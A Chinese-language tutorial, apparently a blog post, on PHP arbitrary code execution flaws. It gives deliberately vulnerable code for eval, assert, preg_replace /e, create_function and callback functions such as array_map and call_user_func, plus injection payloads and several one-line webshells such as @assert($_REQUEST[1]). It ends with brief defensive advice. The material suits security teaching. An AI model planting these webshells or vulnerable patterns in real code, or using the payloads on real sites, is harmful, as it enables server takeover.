目录
6.call_user_func() 和call_user_func_array () 函数 (原理一样)
一、什么是任意代码执行漏洞
web应用程序是指程序员在代码中使用了一些执行函数例如eval,assert等函数,用户可以控制这个字符串去这些函数中执行,从而造成安全漏洞
二、漏洞的危害
- 执行任意的代码,例如协议脚本文件
- 向网站写入webshell
- 控制整个网站或者服务器
三、任意代码执行的漏洞
1.eval ()函数漏洞利用
1.1eval ()函数漏洞利用_1
前端传入参数 :
(1)?data=phpinfo();
(2)?/data=1;phpinfo();
(3)?data=${phpinfo()}
查看后端代码:
<?php
//接收get参数
$data = $_GET['data'];
//eval函数使用
eval("\$ret = $data;");
echo $ret;
?>
1.2eval ()函数漏洞利用_2
查看后端代码:
<?php
//关闭魔术方法
//strtolower 把字符串转为小写
$data=$_GET['data'];
//单引号方式
eval("\$ret = strtolower('$data');");
echo $ret;
?>
执行后端代码,此时查看输入的是phpinfo()字符串,并不是版本,此时我们需要改变参数
传参参方式:闭合前面的,注释后面的,执行中间的代码
1.2.1 /?data=1');phpinfo();//
1.2.2 /?data=1');phpinfo();('
1.3 eval ()函数漏洞利用_3
<?php
//双引号的方式
$data=$_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
?>
传参执行代码:
输入字符串
1.3.1传参参方式:闭合前面的,注释后面的,执行中间的代码
闭合方式:/?data=1");phpinfo();//或者?data=");phpinfo();("1
非闭合方式:${phpinfo()} (php5.5+)
1.4preg_replace+/e 利用
后端代码:
<?php
$data = $_GET['data'];
//正则匹配
$preg = '/<data>(.*)<\/data>/e';
//正则替换 匹配的正则 替换的内容 操作的字符串
preg_replace($preg,'$ret="\\1";', $data);
echo $ret;
?>
参数输入: 使用${ } 不然内容会被当做字符串输出/?data = <data>${phpinfo()}</data>
2.assert()函数
后端代码
<?php
// assert(phpinfo()); //查看php版本
@assert($_REQUEST[1]); //一句话木马
?>
3.preg_replace();
<?php
//定义一个字符串
/*$str = 'aBcdeFg';
echo $str;
//正则匹配
$preg = '/(\w+)/i';
//定义替换内容
$aa = 'suics';
echo '<br>';
//进行字符串替换 正则匹配 替换字符 操作的字符串
echo preg_replace($preg, $aa, $str); //suics*/
//存在的问题 当正则匹配使用了 /e 修饰符 那么替换内容会被当做PHP代码执行 5.7版本以上被取消
$str = 'sCdScds';
//使用/e修饰符
$preg = '/\w+/ie';
//定义替换字符串为php可执行代码例:phpinfo()
// $aa = 'phpinfo()';
//如果这里替换的字符可控
$aa = "$_POST[1]";
//进行替换
echo preg_replace($preg, $aa, $str);
?>
执行代码,
使用工具连接
也可以通过参数查看PHP版本
4. create_function()函数
?php
//函数内部执行代码
//查看php版本
// $func = create_function('',phpinfo());
// $func();
//一句话木马
$func = create_function('',$_POST[1]);
$func();
?>
执行代码
使用工具连接
5.array_map()函数
后端代码:
<?php
//传递函数名
$f = $_GET['f']; //assert
//传递php执行代码
$c = $_REQUEST['c'];
$a[0] = $c;
// array_map(functionName,arr1,arr2...)
//函数名(必填) 需要修改的数组(必须填)1个或多个
//利用$f函数执行$a->php代码
$arr = array_map($f,$_REQUEST);
// var_dump($arr);
?>
执行该代码
查看PHP版本
6.call_user_func() 和call_user_func_array () 函数 (原理一样)
后端代码:
<?php
//查看PHP版本 函数名 + php代码
// call_user_func('assert','phpinfo()');
$a = $_GET['a']; //函数名 例:assert
$b = $_POST['b']; //一句话连接密码
call_user_func($a,$b); //assert $_POST['b']
// 函数 数组参数
// call_user_func_array(function, param_arr)
$a = $_GET['a'];
$b = $_POST['b'];
$c[0] = $b;
call_user_func_array($a, $c);
?>
执行代码:查看PHP版本
7.array_filter()函数
后端代码:
<?php
// 数组 回调函数
//array_filter($arr,function);
$aa = $_GET['aa'];//输入函数名
$bb = $_POST['bb']; //函数参数
$arr[0] = $bb; //放入数组
array_filter($arr,$aa);
?>
执行该代码 可以查看PHP版本
8. usort()和uasort()函数
查看后端代码
<?php
//元素排序 数组 自定义排序函数
// usort(array, myfunction)
//版本需要5.4+//元素排序 数组 自定义排序函数
// usort(array, myfunction)$a = $_POST['a'];
//这里注意第一个变量数组需要在首位增加一个任意元素
$b[0] = 1;$b[1] = $a;
var_dump($b);
$c = $_GET['c'];
usort($b, "$c");
?>
9.$_GET['a']($_GET['b'])
<?php
// $_GET['a']($_GET['b']);
$_GET['a']($_POST['b']);
?>
执行代码传参
四、任意代码执行漏洞的防护
- 对于eval()函数一定要保证用户不能轻易接触eval的参数或者用正 则严格判断输入的数据格式。
- 对于字符串一定要使用单引号包裹可控代码,并且插入前进行 addslashes().
- 对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请 保证第二个参数中,对于正则匹配出的对象,用单引号包裹。